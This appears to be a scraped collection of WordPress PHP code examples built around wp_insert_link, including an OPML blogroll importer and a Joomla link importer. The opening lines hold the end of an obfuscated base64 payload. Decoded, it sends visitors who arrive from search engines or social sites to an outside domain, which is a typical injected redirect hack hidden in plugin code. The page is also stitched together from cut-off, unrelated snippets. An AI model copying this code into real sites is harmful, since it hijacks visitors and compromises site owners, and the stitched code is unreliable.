3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                break;
                // end case 1
        }
        // end switch
    }
 public function create_object($args)
 {
     return wp_insert_link($args);
 }
function wp_update_link($linkdata)
{
    global $wpdb;
    $link_id = (int) $linkdata['link_id'];
    $link = get_link($link_id, ARRAY_A);
    // Escape data pulled from DB.
    $link = add_magic_quotes($link);
    // Merge old and new fields with new fields overwriting old ones.
    $linkdata = array_merge($link, $linkdata);
    return wp_insert_link($linkdata);
}
Beispiel #26
0
    function dispatch()
    {
        global $wpdb, $user_ID;
        $step = isset($_POST['step']) ? $_POST['step'] : 0;
        switch ($step) {
            case 0:
                include_once ABSPATH . 'wp-admin/admin-header.php';
                if (!current_user_can('manage_links')) {
                    wp_die(__('Cheatin&#8217; uh?'));
                }
                $opmltype = 'blogrolling';
                // default.
                ?>

<div class="wrap">
<?php 
                screen_icon();
                ?>
<h2><?php 
                _e('Import your blogroll from another system');
                ?>
 </h2>
<form enctype="multipart/form-data" action="admin.php?import=opml" method="post" name="blogroll">
<?php 
                wp_nonce_field('import-bookmarks');
                ?>

<p><?php 
                _e('If a program or website you use allows you to export your links or subscriptions as OPML you may import them here.');
                ?>
</p>
<div style="width: 70%; margin: auto; height: 8em;">
<input type="hidden" name="step" value="1" />
<input type="hidden" name="MAX_FILE_SIZE" value="<?php 
                echo wp_max_upload_size();
                ?>
" />
<div style="width: 48%;" class="alignleft">
<h3><label for="opml_url"><?php 
                _e('Specify an OPML URL:');
                ?>
</label></h3>
<input type="text" name="opml_url" id="opml_url" size="50" class="code" style="width: 90%;" value="http://" />
</div>

<div style="width: 48%;" class="alignleft">
<h3><label for="userfile"><?php 
                _e('Or choose from your local disk:');
                ?>
</label></h3>
<input id="userfile" name="userfile" type="file" size="30" />
</div>

</div>

<p style="clear: both; margin-top: 1em;"><label for="cat_id"><?php 
                _e('Now select a category you want to put these links in.');
                ?>
</label><br />
<?php 
                _e('Category:');
                ?>
 <select name="cat_id" id="cat_id">
<?php 
                $categories = get_terms('link_category', array('get' => 'all'));
                foreach ($categories as $category) {
                    ?>
<option value="<?php 
                    echo $category->term_id;
                    ?>
"><?php 
                    echo esc_html(apply_filters('link_category', $category->name));
                    ?>
</option>
<?php 
                }
                // end foreach
                ?>
</select></p>

<p class="submit"><input type="submit" name="submit" value="<?php 
                esc_attr_e('Import OPML File');
                ?>
" /></p>
</form>

</div>
<?php 
                break;
                // end case 0
            // end case 0
            case 1:
                check_admin_referer('import-bookmarks');
                include_once ABSPATH . 'wp-admin/admin-header.php';
                if (!current_user_can('manage_links')) {
                    wp_die(__('Cheatin&#8217; uh?'));
                }
                ?>
<div class="wrap">

<h2><?php 
                _e('Importing...');
                ?>
</h2>
<?php 
                $cat_id = abs((int) $_POST['cat_id']);
                if ($cat_id < 1) {
                    $cat_id = 1;
                }
                $opml_url = $_POST['opml_url'];
                if (isset($opml_url) && $opml_url != '' && $opml_url != 'http://') {
                    $blogrolling = true;
                } else {
                    // try to get the upload file.
                    $overrides = array('test_form' => false, 'test_type' => false);
                    $_FILES['userfile']['name'] .= '.txt';
                    $file = wp_handle_upload($_FILES['userfile'], $overrides);
                    if (isset($file['error'])) {
                        wp_die($file['error']);
                    }
                    $url = $file['url'];
                    $opml_url = $file['file'];
                    $blogrolling = false;
                }
                global $opml, $updated_timestamp, $all_links, $map, $names, $urls, $targets, $descriptions, $feeds;
                if (isset($opml_url) && $opml_url != '') {
                    if ($blogrolling === true) {
                        $opml = wp_remote_fopen($opml_url);
                    } else {
                        $opml = file_get_contents($opml_url);
                    }
                    /** Load OPML Parser */
                    include_once ABSPATH . 'wp-admin/link-parse-opml.php';
                    $link_count = count($names);
                    for ($i = 0; $i < $link_count; $i++) {
                        if ('Last' == substr($titles[$i], 0, 4)) {
                            $titles[$i] = '';
                        }
                        if ('http' == substr($titles[$i], 0, 4)) {
                            $titles[$i] = '';
                        }
                        $link = array('link_url' => $urls[$i], 'link_name' => $wpdb->escape($names[$i]), 'link_category' => array($cat_id), 'link_description' => $wpdb->escape($descriptions[$i]), 'link_owner' => $user_ID, 'link_rss' => $feeds[$i]);
                        wp_insert_link($link);
                        echo sprintf('<p>' . __('Inserted <strong>%s</strong>') . '</p>', $names[$i]);
                    }
                    ?>

<p><?php 
                    printf(__('Inserted %1$d links into category %2$s. All done! Go <a href="%3$s">manage those links</a>.'), $link_count, $cat_id, 'link-manager.php');
                    ?>
</p>

<?php 
                } else {
                    echo "<p>" . __("You need to supply your OPML url. Press back on your browser and try again") . "</p>\n";
                }
                // end else
                if (!$blogrolling) {
                    do_action('wp_delete_file', $opml_url);
                }
                @unlink($opml_url);
                ?>
</div>
<?php 
                break;
                // end case 1
        }
        // end switch
    }
function edit_link($link_id = '')
{
    if (!current_user_can('manage_links')) {
        die(__("Cheatin' uh ?"));
    }
    $_POST['link_url'] = wp_specialchars($_POST['link_url']);
    $_POST['link_url'] = clean_url($_POST['link_url']);
    $_POST['link_name'] = wp_specialchars($_POST['link_name']);
    $_POST['link_image'] = wp_specialchars($_POST['link_image']);
    $_POST['link_rss'] = clean_url($_POST['link_rss']);
    $auto_toggle = get_autotoggle($_POST['link_category']);
    // if we are in an auto toggle category and this one is visible then we
    // need to make the others invisible before we add this new one.
    // FIXME Add category toggle func.
    //if (($auto_toggle == 'Y') && ($link_visible == 'Y')) {
    //	$wpdb->query("UPDATE $wpdb->links set link_visible = 'N' WHERE link_category = $link_category");
    //}
    if (!empty($link_id)) {
        $_POST['link_id'] = $link_id;
        return wp_update_link($_POST);
    } else {
        return wp_insert_link($_POST);
    }
}
 function syndicate_link($name, $uri, $rss)
 {
     // Get the category ID#
     $cat_id = FeedWordPress::link_category_id();
     // WordPress gets cranky if there's no homepage URI
     if (!isset($uri) or strlen($uri) < 1) {
         $uri = $rss;
     }
     // Comes in as an array of categories
     $linkCats = array($cat_id);
     $link_id = wp_insert_link(array("link_name" => $name, "link_url" => $uri, "link_category" => $linkCats, "link_rss" => $rss));
     return $link_id;
 }
Beispiel #29
0
 private static function import_link($link)
 {
     $ID = self::get_link_id($link['link_url']);
     if ($ID != -1) {
         $link['link_id'] = $ID;
     }
     $ID = wp_insert_link($link, true);
     if (is_wp_error($ID)) {
         return $ID;
     }
     self::save_link_id($ID, $link['link_url']);
     return $ID;
 }
 /**
  * Import the web links
  *
  */
 public function import_links()
 {
     if (isset($this->plugin->premium_options['skip_weblinks']) && $this->plugin->premium_options['skip_weblinks']) {
         return;
     }
     if (!$this->plugin->table_exists('weblinks')) {
         // Joomla 3.4
         return;
     }
     // Links categories
     $cat_count = $this->import_categories();
     $this->plugin->display_admin_notice(sprintf(_n('%d links category imported', '%d links categories imported', $cat_count, 'fgj2wp'), $cat_count));
     $links = $this->get_weblinks();
     foreach ($links as $link) {
         // Categories
         $category = $link['category'];
         if (array_key_exists($category, $this->categories)) {
             $cat_id = $this->categories[$category];
         } else {
             $cat_id = '';
             // default category
         }
         $linkdata = array('link_name' => $link['title'], 'link_url' => $link['url'], 'link_description' => $link['description'], 'link_target' => '_blank', 'link_category' => $cat_id);
         $new_link_id = wp_insert_link($linkdata);
         if ($new_link_id) {
             $this->links_count++;
             // Increment the Joomla last imported link
             update_option('fgj2wp_last_link_id', $new_link_id);
         }
     }
 }